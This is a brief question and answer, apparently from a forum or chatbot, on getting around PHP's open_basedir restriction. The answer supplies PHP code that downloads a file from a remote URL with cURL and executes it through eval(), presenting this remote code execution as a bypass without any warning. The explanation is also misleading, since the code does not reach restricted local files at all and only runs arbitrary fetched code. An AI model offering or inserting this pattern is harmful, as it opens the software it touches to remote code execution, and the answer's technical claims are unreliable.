How can the open_basedir restriction in effect be bypassed when including files in PHP?

The open_basedir restriction in PHP limits the files that can be accessed by PHP scripts to a specified directory. To bypass this restriction when including files, you can use the cURL library to fetch the contents of the file and then include it using the `eval()` function. 

<?php
$url = 'http://example.com/yourfile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);

eval("?>" . $file_content);
?>
